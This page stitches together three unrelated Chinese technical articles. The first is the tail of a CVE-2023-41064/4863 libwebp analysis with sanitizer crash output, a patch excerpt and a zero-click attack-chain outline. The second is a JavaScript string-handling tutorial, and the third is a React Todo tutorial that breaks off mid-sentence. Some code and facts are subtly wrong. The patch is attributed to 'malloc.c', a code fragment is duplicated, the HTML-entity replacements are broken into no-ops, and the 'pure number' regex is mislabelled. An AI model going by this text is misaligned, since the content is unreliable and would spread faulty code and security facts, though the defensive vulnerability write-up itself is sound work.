==9923477==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000028 at pc 0x7fff...
WRITE of size 1 at 0x603000000028 thread T0
#0 0x7fff... in ReadHuffmanCodes libwebp.dylib // 漏洞函数
#1 0x7fff... in VP8LDecodeImage libwebp.dylib // VP8L解码器
#2 0x7fff... in WebPDecodeRGBAInto libwebp.dylib // RGBA解码
#3 0x7fff... in ImageIOWebPDecoder ImageIO.framework // ImageIO调用栈
#4 0x100003a4c in main CVE-2023-41064-PoC.m:58 // 触发点:CGImageSourceCreateImageAtIndex
关键信息:ASan捕获到 ReadHuffmanCodes 向堆外地址 0x603000000028 写入1字节,确认堆溢出。
2. 已修复环境(macOS 13.5.2+,苹果补丁)
苹果在 malloc.c 中增加了 码长边界校验:
// 补丁核心:拒绝超长码
+ if (code_length > max_code_length) {
+ fprintf(stderr, "Invalid code length %d (max %d)\n", code_length, max_code_length);
+ return 0; // 终止解析,避免溢出
+ }
表现:PoC运行时输出 [+] 图像解析成功,无崩溃,证明漏洞已修复。
五、攻击链定位:BLASTPASS/Pegasus的零点击利刃
该漏洞是 iMessage零点击攻击 的核心组件,攻击链如下:
- 投递阶段:攻击者通过iMessage发送含恶意WebP的附件(伪装成图片);
-
触发阶段:目标设备自动解析WebP(无需点击),调用ImageIO→libwebp→
ReadHuffmanCodes; - 利用阶段:堆溢出覆盖函数指针,跳转到NSO Group的间谍软件(如Pegasus);
- 控制阶段:设备被完全控制,窃取数据、监控摄像头/麦克风。
技术特点:
- 零交互:用户仅收到消息即中招;
- 高隐蔽:利用系统级图像处理模块,无沙箱逃逸;
- 强杀伤:可绕过AMFI(Apple Mobile File Integrity)与代码签名。
六、加固建议:从开发到用户的多层防御
1. 开发者必做
- 升级libwebp:至少1.3.2(官方补丁);
- 输入校验:对WebP霍夫曼表参数(num_symbols、max_code_length)增加边界检查;
- 模糊测试:用libFuzzer生成畸形WebP,持续测试解码器。
2. 终端用户防护
-
开启Lockdown Mode(最强防御):
路径:设置 → 隐私与安全性 → 锁定模式- 阻断不可信iMessage附件自动渲染;
- 禁用复杂Web内容解析(含WebP)。
-
禁用自动下载:设置→信息→关闭“自动下载附件”。
3. 企业防御策略
-
端点检测:监控
CGImageSourceCreateImageAtIndex异常返回值; -
流量清洗:网关拦截含异常霍夫曼表的WebP(如
code_length>15); - 内存保护:强制启用ASLR(地址空间布局随机化)。
七、结语:漏洞研究的永恒命题
CVE-2023-41064/4863揭示了现代攻击链的进化方向:利用基础库的单点缺陷,撬动整个生态系统。作为安全研究者,我们不仅要逆向漏洞机理,更需将成果转化为用户可操作的防护策略——锁定模式不是妥协,而是数字时代的生存智慧。
免责声明:本文PoC仅用于授权测试与教育目的,未经授权的漏洞利用违反《计算机欺诈与滥用法》(CFAA)。
参考文献
- Apple Security Advisory HT213895
- Project Zero: CVE-2023-4863 Analysis
- Libwebp Official Patch
#苹果 #CVE20234863 #哪吒网络安全 #pegasus
字符串处理实战:模板字符串、split/join、正则的 80% 用法
前言
前端里接口参数拼接、搜索条件、富文本简单处理,几乎都绕不开字符串:拼 URL、拆 query、替换/截断文案。很多人习惯用 + 拼到眼花,或者到处 indexOf/substring,写多了难维护也容易出 bug。
用**模板字符串、split/join、正则**这三类能力,可以把「拼→ 拆 → 替换/匹配」写得更短、更稳。本文用 10 个左右常见场景,把日常该怎么选、为什么这么选、容易踩的坑讲清楚,只讲 80% 会用到的部分,不求覆盖所有正则语法。
适合读者:
- 会写 JS,但对模板字符串/正则什么时候用、怎么写有点模糊
- 刚学 JS,希望一开始就养成清晰的字符串写法
- 有经验的前端,想统一团队里的 URL 拼接、搜索条件、简单富文本处理
一、先搞清楚:模板字符串、split/join、正则分别在干什么
| 能力 | 在干什么 | 典型用法 |
|---|---|---|
| 模板字符串 | 用 ` 和 ${} 把变量嵌进字符串,支持换行 |
拼 URL、拼文案、多行字符串 |
split |
按分隔符把字符串拆成数组 | 把 query 拆成键值对、按逗号/换行拆列表 |
join |
把数组用分隔符拼成字符串 | 把参数数组拼成 query、把标签数组拼成文案 |
| 正则 | 按模式匹配、替换、提取 | 替换占位符、校验格式、简单富文本处理 |
// 传统 + 拼接:多参数时很难看
const url = baseUrl + '/api/user?id=' + id + '&name=' + encodeURIComponent(name);
// 模板字符串:一眼看出「URL 长什么样」
const url = `${baseUrl}/api/user?id=${id}&name=${encodeURIComponent(name)}`;
记住一点:能一眼看出「最终长什么样」就用模板字符串;要「按规则拆开或拼起来」就用 split/join;要「按模式匹配或替换」就用正则。
二、模板字符串的常见用法
1. 接口 URL 与 query 拼接(模板字符串 + 一层编码)
应用场景
- 你要调一个列表接口(比如商品列表、用户列表),需要把「搜索关键词」「页码」「每页显示多少条」这些信息拼在接口地址后面,比如拼出
?keyword=张三&page=1&pageSize=10这种格式。
先搞懂一个核心问题:为啥不能直接拼?
- 就像咱们寄快递要写规范的地址(省 - 市 - 区 - 街道),URL(接口地址)也有自己的「书写规范」—— 有些字符(比如中文、空格、&、=)直接写进去,服务器会 “看不懂”,甚至理解错意思。
举个最直白的例子
你要搜「用户 输入」(关键词里有空格),如果直接拼地址:/api/list?keyword=用户 输入&page=1
服务器会把「空格」当成 “参数分隔符”,以为「keyword = 用户」是一个参数,「输入 & page=1」是另一个参数,直接解析错了!
const baseUrl = '/api/list'; // 接口基础地址
const params = {
keyword: '用户 输入', // 要搜索的关键词(有中文+空格,是“违规字符”)
page: 1, // 第1页
pageSize: 10 // 每页显示10条
};
// ✅ 推荐写法:用 URLSearchParams 当“翻译官”(自动处理违规字符)
// 你可以把 URLSearchParams 理解成:专门处理URL参数的“小工具”
const query = new URLSearchParams({
keyword: params.keyword,
page: String(params.page), // 这个小工具只认字符串,数字要转一下
pageSize: String(params.pageSize),
}).toString(); // 把处理好的参数转成字符串
// 用模板字符串拼最终地址,结构一眼能看懂
const url = `${baseUrl}?${query}`;
console.log('自动处理后的地址:', url);
// 输出:/api/list?keyword=%E7%94%A8%E6%88%B7+%E8%BE%93%E5%85%A5&page=1&pageSize=10
// 你看:“用户 输入”被翻译成了 %E7%94%A8%E6%88%B7+%E8%BE%93%E5%85%A5,服务器能看懂了!
// ❌ 反面示例:直接拼(不翻译违规字符)—— 服务器看不懂
const badUrl1 = `${baseUrl}?keyword=${params.keyword}&page=${params.page}&pageSize=${params.pageSize}`;
console.log('直接拼的错误地址:', badUrl1);
// 输出:/api/list?keyword=用户 输入&page=1&pageSize=10(空格、中文没翻译,服务器解析错)
// ⚠️ 手动翻译写法(麻烦,容易漏):
// encodeURIComponent 就是“单个字符翻译器”,只能翻译一个参数值
const encodedKeyword = encodeURIComponent(params.keyword); // 只翻译关键词
const encodedPage = encodeURIComponent(params.page); // 翻译页码
const encodedPageSize = encodeURIComponent(params.pageSize); // 翻译每页条数
const goodUrlByHand = `${baseUrl}?keyword=${encodedKeyword}&page=${encodedPage}&pageSize=${encodedPageSize}`;
console.log('手动翻译的正确地址:', goodUrlByHand);
// 输出和自动处理的一样,但要写3次 encodeURIComponent,参数多了容易漏!
更直观的表格说明
| 名词 | 小白版解释 | 什么时候用 |
|---|---|---|
encodeURIComponent |
单个 URL 参数的 “翻译器”:把中文、空格这些服务器看不懂的字符,翻译成服务器能懂的 “编码”(比如把 “用户” 译成 % E7%94% A8% E6%88% B7) |
手动拼接 URL 参数时,给每个参数值单独翻译 |
URLSearchParams |
批量处理 URL 参数的 “智能翻译机”:你把所有参数丢给它,它会自动调用 encodeURIComponent 给每个参数翻译,还能拼成规范的参数串 |
推荐优先用!不管参数多少,一次搞定,不翻车 |
关键注意点(小白必看)
- 只要参数里有
中文、空格、&、=这些字符,就必须 “翻译”,否则接口会调失败 / 返回错误数据; -
URLSearchParams是 “懒人神器”:不用记encodeURIComponent怎么写,不用怕漏翻译某个参数,丢进去就自动处理; - 小细节:
URLSearchParams只认字符串,所以数字类型的参数(比如page:1)要转成String (page),否则会报错。
2. 搜索条件:有值才带参数(过滤掉空值再拼)
场景: 只有 keyword 有值才带 keyword,只有 status 有值才带 status,避免 ?keyword=&status= 这种无意义参数。
const baseUrl = '/api/search';
const search = {
keyword: '张三', // 有实际值
status: '', // 空值(无意义)
type: '1', // 有实际值
};
// 第一步:筛选出非空的参数(去掉空字符串、全空格、null/undefined)
// Object.entries:把对象拆成[key, value]的数组,方便批量检查
// filter:筛选器,只留满足条件的参数
// trim():去掉字符串前后空格(比如用户只输空格也算空值)
const filtered = Object.fromEntries(
Object.entries(search).filter(([_, value]) => {
// 条件:值不是null/undefined,且去掉空格后不是空字符串
return value != null && String(value).trim() !== '';
})
);
// 第二步:用URLSearchParams自动编码参数,转成query字符串
const query = new URLSearchParams(filtered).toString();
// 第三步:拼接最终URL(有参数加?,没参数直接用基础地址)
const url = query ? `${baseUrl}?${query}` : baseUrl;
// 最终结果:/api/search?keyword=%E5%BC%A0%E4%B8%89&type=1
// 对比:如果没过滤,会是 /api/search?keyword=%E5%BC%A0%E4%B8%89&status=&type=1(多了无用的status=)
);
const query = new URLSearchParams(filtered).toString();
const url = query ? `${baseUrl}?${query}` : baseUrl;
// /api/search?keyword=%E5%BC%A0%E4%B8%89&type=1
核心名词小白解释:
| 代码片段 | 通俗理解 |
|---|---|
Object.entries(search) |
把{keyword:'张三', status:'', type:'1'}拆成[['keyword','张三'], ['status',''], ['type','1']],方便逐个检查值是否为空 |
Object.fromEntries(数组) |
把筛选后的数组(比如[['keyword','张三'], ['type','1']])还原成对象{keyword:'张三', type:'1'}
|
value.trim() |
去掉字符串前后的空格,比如' 张三 '变'张三',' '变空字符串(避免 “只输空格” 被当成有效值) |
filter(...) |
只保留 “非空” 的参数,把status:''这种空值过滤掉 |
适用: 列表筛选项、搜索表单、任何「按条件带参」的接口。
3. 多行字符串、拼文案(模板字符串天然支持换行)
场景: 弹窗文案、邮件正文、多行提示。
const userName = '李四';
const count = 3;
const message = `尊敬的 ${userName}:
您有 ${count} 条待处理消息,请及时查看。`;
// 换行、变量都保留,不用 \n 和 + 拼
三、split / join 的常见用法
1. 把 URL 上的 search 拆成对象(split + 一次遍历)
场景: 从 ?id=1&name=test 得到 { id: '1', name: 'test' }。
const search = '?id=1&name=test';
// 推荐:直接用 URLSearchParams 解析(和上面「拼」对应)
const params = Object.fromEntries(new URLSearchParams(search));
// { id: '1', name: 'test' }
// 若不能用地道 API,再用 split
const params2 = search
.replace(/^\?/, '')
.split('&')
.reduce((acc, pair) => {
const [key, value] = pair.split('=');
acc[decodeURIComponent(key)] = decodeURIComponent(value ?? '');
return acc;
}, {});
注意: 值里可能带 =,所以「按第一个 = 拆」更稳,这里用 split('=') 只适合简单 value;复杂 query 建议统一用 URLSearchParams。
2. 把「逗号分隔的 id」拆成数组,再拼回去(split + join)
场景: 接口返回 ids: "1,2,3",要转成数组处理;提交时再拼成 "1,2,3"。
const idsStr = '1,2,3';
const ids = idsStr.split(',').map((id) => id.trim()).filter(Boolean);
// ['1', '2', '3']
// 提交时再拼回去
const idsStrAgain = ids.join(',');
// '1,2,3'
注意: split(',') 后习惯加 .map(s => s.trim()).filter(Boolean),避免空串和前后空格。
3. 按换行拆成数组(split('\n'))
场景: 用户输入多行标签、多行关键词,一行一个。
const input = ' tag1 \ntag2\n tag3 ';
const tags = input.split('\n').map((s) => s.trim()).filter(Boolean);
// ['tag1', 'tag2', 'tag3']
四、正则的 80% 用法(小白友好版:从基础到实战)
先搞懂:正则的 “基础积木”(小白版) 先记住这几个最常用的符号,就像搭积木一样,组合起来就能实现大部分匹配 / 替换需求:
| 符号 / 语法 | 小白版解释 | 举例子 |
|---|---|---|
/内容/ |
正则的 “容器”,所有匹配规则都写在两个/之间 |
/abc/ 表示匹配字符串里的 abc
|
/内容/g |
g = global(全局),表示匹配所有符合规则的内容,不是只匹配第一个 |
'aaa'.replace(/a/g, 'b') → bbb(不加 g 只替换第一个 a,变成 baa) |
\w |
匹配「字母、数字、下划线」(简单记:匹配 “单词字符”) |
/\w+/能匹配 name123、order_001
|
\d |
匹配「单个数字」(0-9) |
/\d/匹配 5,/\d\d/ 匹配88
|
+ |
表示 “前面的规则至少出现 1 次” |
/\d+/ 匹配 1 个或多个数字(比如 1、123) |
* |
表示 “前面的规则出现 0 次或多次”(用得少,优先记+) |
/\d*/ 能匹配空字符串、1、123
|
{n} |
表示 “前面的规则正好出现 n 次” |
/\d{10}/匹配正好 10 个数字 |
^ |
匹配 “字符串的开头”(锚定开头) |
/^1/只匹配以 1开头的字符串(比如 1380000 能匹配,a138 不能) |
$ |
匹配 “字符串的结尾”(锚定结尾) |
/\d$/ 只匹配以数字结尾的字符串 |
[^>] |
[] 表示 “匹配其中任意一个字符”,^ 在 [] 里表示 “排除” |
/[^>]+/匹配 “除了 > 之外的任意字符,至少 1 个” |
() |
捕获组:把匹配到的内容 “抓出来”,后续能用到 |
/\{(\w+)\}/ 里的 (\w+) 会把 {name} 里的 name 抓出来 |
有没有同学看不懂 /\{(\w+)\}/ 的?
看这里:
-
\是转义符:正则里想匹配{}/[]/()等特殊符号本身时,必须加\; -
/\{(\w+)\}/的核心是匹配{xxx}格式的字符串,其中:-
\{/\}匹配普通的{和}; -
(\w+)抓出{}中间的字母/数字/下划线(比如 name);
-
- 新手写正则时,只要想匹配 “特殊符号本身”,先加
\转义,就不会出错。
用法 1:占位符替换(把 {name} 换成真实值)
场景:服务端返回模板 " 您好,{name},您的订单{orderId}已发货 ",前端替换成当前用户和订单。
步骤拆解(小白能懂):
1. 规则/\{(\w+)\}/g 解析:
-
\{:匹配左大括号{(因为{是正则特殊符号,要加\转义,告诉正则 “这就是普通的{”); -
(\w+):捕获组,匹配字母 / 数字 / 下划线(比如name、orderId),并把匹配结果存起来; -
\}:匹配右大括号}; -
g:全局匹配,把所有{xxx}都找出来。
2. replace 回调函数:(_, key) => data[key] ?? ''
- 第一个参数
_:表示整个匹配的内容(比如{name}),用不到就用_占位; - 第二个参数
key:就是捕获组(\w+)抓到的内容(比如name); -
data[key] ?? '':从data里取对应的值,没有就用空串填充。
const template = '您好,{name},您的订单{orderId}已发货';
const data = { name: '王五', orderId: 'ORD001' };
// 核心代码
const result = template.replace(/\{(\w+)\}/g, (_, key) => data[key] ?? '');
console.log(result); // 输出:'您好,王五,您的订单ORD001已发货'
// 小白试错:如果不加g,只会替换第一个占位符
const badResult = template.replace(/\{(\w+)\}/, (_, key) => data[key] ?? '');
console.log(badResult); // 输出:'您好,王五,您的订单{orderId}已发货'
用法 2:富文本简单处理:去掉 HTML 标签只留纯文本
**场景:**列表摘要只展示纯文本,需要把 <p>xxx</p> 里的 xxx 拿出来,或去掉所有标签。
规则 /<[^>]+>/g 解析:
-
<:匹配左尖括号; -
[^>]+:匹配 “除了>之外的任意字符,至少 1 个”(比如p、strong、div class="title"); -
>:匹配右尖括号; -
g:全局替换,把所有标签都去掉。
const html = '<p>这是一段<strong>加粗</strong>的文字 还有空格</p>';
// 第一步:去掉所有HTML标签
const textWithoutTag = html.replace(/<[^>]+>/g, '');
console.log(textWithoutTag); // 输出:'这是一段加粗的文字 还有空格'
// 第二步:还原常见的HTML实体(比如 换成空格)
const text = textWithoutTag
.replace(/ /g, ' ') // 空格实体转空格
.replace(/</g, '<') // < 实体转 <
.replace(/>/g, '>'); // > 实体转 >
console.log(text); // 输出:'这是一段加粗的文字 还有空格'
⚠️ 重要提醒:这个规则只适合「简单、可控」的富文本(比如自己系统生成的短文本)。如果是复杂 HTML(比如带注释、<script>标签、属性里有>的),正则会失效,建议用 DOM 或专业库(如 cheerio)处理。
用法 3:富文本简单处理:限制摘要长度(截断 + 省略号)
场景:列表里摘要最多显示 20 个字符,超出用 ...。
(先去标签再截断,避免截到标签中间,比如把<p>这是一段很长的文字</p>截成 <p>这是一段很长的文,导致标签不闭合)
// 封装成通用函数,小白直接用
const getSummary = (html, maxLen = 20) => {
// 第一步:先去标签和还原实体
const pureText = html
.replace(/<[^>]+>/g, '')
.replace(/ /g, ' ')
.replace(/</g, '<')
.replace(/>/g, '>');
// 第二步:判断长度,截断加省略号
if (pureText.length > maxLen) {
return pureText.slice(0, maxLen) + '...';
}
return pureText;
};
// 测试
const longHtml = '<div>这是一段非常非常长的富文本内容,需要截断显示</div>';
console.log(getSummary(longHtml, 10)); // 输出:'这是一段非常非常长...'
用法 4:简单格式校验(手机号、纯数字)
场景:表单里「手机号」「纯数字」的简单校验,用 正则.test(要校验的字符串),返回 true/false。
1. 手机号校验
规则 /^1\d{10}$/ 解析:
-
^:字符串开头; -
1:第一个字符必须是 1(手机号开头都是 1); -
\d{10}:后面跟正好 10 个数字; -
$:字符串结尾; → 整体表示:整个字符串必须是 “1 + 10 个数字”,长度正好 11 位。
// 封装手机号校验函数
const isPhoneValid = (phone) => {
// 先排除空值、非字符串情况
if (!phone || typeof phone !== 'string') return false;
return /^1\d{10}$/.test(phone);
};
// 测试
console.log(isPhoneValid('13800138000')); // true(正确手机号)
console.log(isPhoneValid('1380013800')); // false(只有10位)
console.log(isPhoneValid('12345678901')); // false(开头不是1)
console.log(isPhoneValid('1380013800a')); // false(包含字母)
2. 纯数字校验
规则 /^1\d{10}$/ 解析:
-
^:开头; -
\d+:至少 1 个数字; -
\d{10}:后面跟正好 10 个数字; -
$:结尾; → 整体表示:整个字符串只能是数字,不能有其他字符,且不能为空。
// 封装纯数字校验函数
const isPureNumber = (str) => {
if (!str) return false; // 空串返回false
return /^\d+$/.test(str);
};
// 测试
console.log(isPureNumber('12345')); // true
console.log(isPureNumber('123a5')); // false(含字母)
console.log(isPureNumber('')); // false(空串)
console.log(isPureNumber('0')); // true(单个0也符合)
用法总结
- 正则小白不用记所有语法,先掌握
/内容/g、\w/\d、+/{n}、^/$、()这几个核心符号,就能搞定大部分场景; - 正则的核心用法分 3 类:替换(
replace)、校验(test)、提取(match),其中替换和校验是日常用得最多的; - 写正则时,先拆解 “要匹配什么 / 排除什么”,再用基础符号组合,优先加
g(全局)、^/``$`(整串匹配)避免漏匹配 / 错匹配; - 复杂 HTML 处理别用正则,优先用 DOM 或专业库,正则只适合简单片段。
五、容易踩的坑
1. 模板字符串里要算表达式,用 ${} 包起来
const a = 1, b = 2;
const wrong = `${a} + ${b} = a + b`; // '1 + 2 = a + b'
const right = `${a} + ${b} = ${a + b}`; // '1 + 2 = 3'
2. query 里的中文、空格、特殊字符必须编码
const name = '张 三';
const bad = `/api?name=${name}`; // 空格和中文会破坏 URL
const good = `/api?name=${encodeURIComponent(name)}`;
// 或统一用 URLSearchParams
3. split 不传参时按每个字符拆
'abc'.split(); // ['abc']
'abc'.split(''); // ['a','b','c']
要按「分隔符」拆就明确传参,例如 split(',')、split('\n')。
4. 空字符串 split 得到的是 ['']
''.split(','); // ['']
''.split(',').filter(Boolean); // []
拼 query、拼列表前若可能为空,先判断或 filter(Boolean),避免出现 ?key= 或末尾多余逗号。
5. 正则「去标签」不能覆盖所有 HTML 情况
// 像 <div class="a"> 这种可以匹配
// 但 <script>...</script>、注释、属性里的 > 等,正则容易出错
仅用于「自己能控制的、结构简单的」富文本片段;其它用 DOM 或专业库。
六、实战推荐写法模板
接口 GET 参数拼接(带空值过滤):
const baseUrl = '/api/list';
const params = { keyword: '...', page: 1, pageSize: 10, status: '' };
const query = new URLSearchParams(
Object.fromEntries(
Object.entries(params).filter(([_, v]) => v != null && String(v).trim() !== '')
)
).toString();
const url = query ? `${baseUrl}?${query}` : baseUrl;
从当前页 search 取参数:
const params = Object.fromEntries(new URLSearchParams(location.search));
const keyword = params.keyword ?? '';
逗号分隔字符串 ↔ 数组:
const toIds = (s) => (s ?? '').split(',').map((id) => id.trim()).filter(Boolean);
const toStr = (arr) => (arr ?? []).filter(Boolean).join(',');
简单占位符替换:
const fillTemplate = (template, data) =>
template.replace(/\{(\w+)\}/g, (_, key) => data[key] ?? '');
富文本摘要(去标签 + 截断):
const toSummary = (html, maxLen = 20) => {
const text = html.replace(/<[^>]+>/g, '').replace(/ /g, ' ');
return text.length > maxLen ? text.slice(0, maxLen) + '...' : text;
};
七、小结
| 场景 | 推荐写法 |
|---|---|
| 拼 URL、拼文案、多行字符串 | 模板字符串 `${base}?${query}`
|
| 拼/解析 query |
URLSearchParams + 模板字符串 或 split/reduce |
| 有值才带参 | 先 filter 再 URLSearchParams,再拼到 URL |
| 逗号/换行拆成数组 |
split(',') / split('\n') + trim + filter(Boolean)
|
| 数组拼成字符串 |
join(',') 等 |
占位符替换 {key}
|
replace(/\{(\w+)\}/g, (_, key) => data[key]) |
| 简单去 HTML 标签 |
replace(/<[^>]+>/g, '')(仅简单片段) |
| 摘要截断 | 先去标签再 slice(0, len) + '...'
|
| 简单格式校验 |
/^1\d{10}$/.test(phone) 等 |
记住:拼用模板字符串 + URLSearchParams,拆用 split/URLSearchParams,替换/匹配用正则。日常写接口参数、搜索条件、简单富文本时,先想清楚是「拼、拆、还是替换/校验」,再选对应方式,代码会清晰很多,也少踩编码和空值的坑。
特别提醒:
- query 里的中文和特殊字符一定要编码(
URLSearchParams或encodeURIComponent)。 - 空数组/空字符串在 split/join 时要考虑
filter(Boolean)和「是否带问号」。 - 正则只用于简单、可控的富文本;复杂 HTML 用 DOM 或专门库。
以上就是本次的学习分享,欢迎大家在评论区讨论指正,与大家共勉。
我是 Eugene,你的电子学友。
如果文章对你有帮助,别忘了点赞、收藏、加关注,你的认可是我持续输出的最大动力~
React组件通信实战:从Todo应用彻底搞懂父子、子父、兄弟通信
React组件通信实战:从Todo应用彻底搞懂父子、子父、兄弟通信
前言
刚接触React的同学一定对组件间的通信感到困惑:
- 父组件怎么把数据传给子组件?(父→子)
- 子组件怎么通知父组件修改数据?(子→父)
- 没有直接关系的兄弟组件又该如何共享状态?(兄弟↔兄弟)
别担心,今天我们就通过一个极简的Todo应用,把这些通信方式一次理清楚。你会学到:
- React单向数据流到底是什么
- props如何传递数据和函数
- 状态提升如何解决兄弟通信
- 最后,还会教你如何用 localStorage + useEffect 实现数据持久化,让Todo列表刷新后依然存在
项目代码简洁,但五脏俱全,非常适合初学者理解和上手。让我们开始吧!
项目初始化与技术栈
- React + Vite(快速构建)
- Stylus(CSS预处理器,本文重点不在样式)
- 最后会用到 localStorage 做数据持久化
项目结构:
src/
components/
TodoInput.jsx # 输入框组件
TodoList.jsx # 列表展示组件
TodoStats.jsx # 统计信息组件
App.jsx # 根组件,持有共享数据
styles/
app.styl
一、核心概念回顾:单向数据流与状态提升
在开始写代码前,我们先理解两个React最重要的概念:
1.1 单向数据流
React的数据是从父组件流向子组件的(通过props)。子组件不能直接修改收到的props,因为props是只读的。这保证了数据的可预测性——数据变化的原因一定来自组件自身(state)或父组件传递的新props。
1.2 状态提升
当多个组件需要共享同一份数据时,我们应该将这份数据提升到它们最近的共同父组件中,由父组件管理,然后通过props分发给子组件。子组件想修改数据,必须调用父组件传递的回调函数,由父组件真正修改数据。
这正是Todo应用的设计思想:todos数组作为共享状态,放在App组件中,三个子组件都通过props获取数据或回调。
二、完整代码(无持久化版本)
为了让大家先对整个项目有一个整体认识,我们先给出不包含持久化的完整代码。每个文件都包含了详细的注释,方便理解。
App.jsx
import { useState } from 'react';
import TodoList from './components/TodoList';
import TodoInput from './components/TodoInput';
import TodoStats from './components/TodoStats';
function App() {
// 核心数据:todos 数组,包含所有任务
const [todos, setTodos] = useState([]);
// 添加任务
const addTodo = (text) => {
// 使用展开运算符创建新数组,保持不可变性
setTodos([...todos, { id: Date.now(), text, completed: false }]);
};
// 删除任务
const deleteTodo = (id) => {
// filter 返回新数组,删除指定 id 的任务
setTodos(todos.filter(todo => todo.id !== id));
};
// 切换任务完成状态
const toggleTodo = (id) => {
// map 返回新数组,切换指定任务的 completed 状态
setTodos(todos.map(todo =>
todo.id === id ? { ...todo, completed: !todo.completed } : todo
));
};
// 清除所有已完成任务
const clearCompleted = () => {
// filter 保留未完成的任务
setTodos(todos.filter(todo => !todo.completed));
};
// 派生数据:从 todos 计算统计信息
const activeCount = todos.filter(todo => !todo.completed).length;
const completedCount = todos.filter(todo => todo.completed).length;
return (
<div className="todo-app">
<h1>My Todo List</h1>
{/* 子组件通过 props 接收数据和回调 */}
<TodoInput onAdd={addTodo} />
<TodoList
todos={todos}
onDelete={deleteTodo}
onToggle={toggleTodo}
/>
<TodoStats
total={todos.length}
active={activeCount}
completed={completedCount}
onClearCompleted={clearCompleted}
/>
</div>
);
}
export default App;
components/TodoInput.jsx
import { useState } from 'react';
const TodoInput = ({ onAdd }) => {
// 内部状态:输入框的值(只属于这个组件,无需提升)
const [inputValue, setInputValue] = useState('');
const handleSubmit = (e) => {
e.preventDefault();
if (inputValue.trim()) {
// 调用父组件传递的回调,将新任务文本传回去
onAdd(inputValue);
// 清空输入框
setInputValue('');
}
};
return (
<form className="todo-input" onSubmit={handleSubmit}>
<input
type="text"
value={inputValue}
onChange={e => setInputValue(e.target.value)}
placeholder="输入新任务..."
/>
<button type="submit">添加</button>
</form>
);
};
export default TodoInput;
components/TodoList.jsx
const TodoList = ({ todos, onDelete, onToggle }) => {
return (
<ul className="todo-list">
{todos.length === 0 ? (
<li className="empty">暂无任务</li>
) : (
todos.map(todo => (
<li key={todo.id} className={todo.completed ? 'completed' : ''}>
<label>
<input
type="checkbox"
checked={todo.completed}
onChange={() => onToggle(todo.id)} // 调用父组件回调
/>
<span>{todo.text}</span>
</label>
<button onClick={() => onDelete(todo.id)}>X</button>
</li>
))
)}
</ul>
);
};
export default TodoList;
components/TodoStats.jsx
const TodoStats = ({ total, active, completed, onClearCompleted }) => {
return (
<div className="todo-stats">
<p>总计: {total} | 待办: {active} | 已完成: {completed}</p>
{completed > 0 && (
<button onClick={onClearCompleted} className="clear-btn">
清除已完成
</button>
)}
</div>
);
};
export default TodoStats;
- 效果图
现在你已经看到了完整的项目代码。接下来,我们将分章节详细解释其中的核心知识点。
三、知识点深度解析
3.1 父子组件通信(父→子)
实现方式:父组件通过JSX属性向子组件传递任意类型的数据。
在App.jsx中,我们可以看到多处父子通信的例子:
-
<TodoList todos={todos} />:将todos数组传递给TodoList组件。 -
<TodoStats total={todos.length} active={activeCount} completed={completedCount} />:将统计信息(数字)传递给TodoStats组件。
子组件通过props对象接收这些数据。例如在TodoList中:
const TodoList = ({ todos, onDelete, onToggle }) => { ... }
这里的{ todos }就是从父组件传递过来的数据。
特点:
- props是只读的,子组件不能修改它们。
- 如果传递的是对象/数组,传递的是引用,子组件虽然不能直接赋值,但可以修改对象内部的属性(不推荐)。最佳实践是保持不可变。
3.2 子父组件通信(子→父)
子组件不能直接修改父组件的状态,但可以通过调用父组件通过props传递的函数来“请求”父组件修改状态。
在App.jsx中,父组件定义了几个修改状态的方法:addTodo、deleteTodo、toggleTodo、clearCompleted。然后将这些方法通过props传递给子组件,通常以on开头命名。
例如,TodoInput接收onAdd:
<TodoInput onAdd={addTodo} />
在TodoInput内部,当表单提交时,调用onAdd(inputValue),将新任务的文本传回父组件。
同样,TodoList接收onDelete和onToggle,在点击删除按钮或复选框时调用这些回调,并传递todo.id。
TodoStats接收onClearCompleted,点击按钮时调用。
关键点:
- 子组件只是触发事件,真正的修改逻辑在父组件中。
- 数据变化的原因集中在父组件,便于追踪和维护。
3.3 兄弟组件通信(通过共同父组件)
兄弟组件之间没有直接通信,而是通过它们共同的父组件作为桥梁。
以添加任务为例:
-
TodoInput调用onAdd,将新任务文本传给父组件App。 - 父组件执行
addTodo,更新todos状态。 - 父组件重新渲染,将新的
todos传给TodoList,将重新计算的activeCount和completedCount传给TodoStats。 -
TodoList和TodoStats接收到新的props,自动更新视图。
这样,TodoList和TodoStats虽然不直接联系,但通过父组件的状态变化实现了同步。这就是状态提升的核心思想:将共享状态提升到最近的共同父组件中。
为什么这是最佳实践?
- 单一数据源:所有共享数据都在父组件,修改也集中于此。
- 组件解耦:每个子组件只依赖自己的props,不关心其他组件。
- 可预测:数据流是单向的,从父到子,变化原因来自子组件的回调。
3.4 不可变更新
在父组件的修改方法中,我们使用了展开运算符(...)、filter、map等方法来返回新数组,而不是直接修改原数组。
例如:
// 添加:创建新数组,包含原数组所有元素再加一个新元素
setTodos([...todos, { id: Date.now(), text, completed: false }]);
// 删除:filter 返回新数组,不含指定 id
setTodos(todos.filter(todo => todo.id !== id));
// 切换:map 返回新数组,指定 id 的元素替换为新对象
setTodos(todos.map(todo =>
todo.id === id ? { ...todo, completed: !todo.completed } : todo
));
为什么必须这样做?
React通过浅比较状态的前后引用是否变化来决定是否重新渲染。如果直接修改原数组(例如todos.push(newTodo)),然后调用setTodos(todos),由于引用未变,React可能不会触发更新。因此,必须返回一个新的数组或对象。
3.5 受控组件
在TodoInput中,<input>元素的值绑定到inputValue状态,并通过onChange事件更新状态。这种模式称为受控组件。
<input
type="text"
value={inputValue}
onChange={e => setInputValue(e.target.value)}
/>
这样,React state成为“唯一数据源”,输入框的值始终与状态同步,方便处理表单逻辑。
四、扩展:实现数据持久化(localStorage + useEffect)
目前我们的Todo应用功能完整,但刷新页面后数据会丢失。为了解决这个问题,我们可以利用浏览器的localStorage将数据保存在硬盘上。
4.1 为什么需要持久化?
- 提升用户体验:用户关闭浏览器后再次打开,之前的任务依然存在。
- 让应用更像一个“真实”的应用。
4.2 初始化时从localStorage读取
修改App.jsx中的useState,使用惰性初始函数从localStorage读取初始数据:
const [todos, setTodos] = useState(() => {
const saved = localStorage.getItem('todos');
return saved ? JSON.parse(saved) : [];
});
这样,组件初始化时,如果localStorage中已有保存的todos,就使用它;否则使用空数组。惰性初始函数保证读取操作只在初始化时执行一次,避免每次渲染都读取。
4.3 监听变化并保存到localStorage
我们希望每当todos变化时,自动将最新数据写入localStorage。这可以用useEffect实现:
useEffect(() => {
localStorage.setItem('todos', JSON.stringify(todos));
}, [todos]);
- 第一个参数是副作用函数,执行保存操作。
- 第二个参数是依赖数组
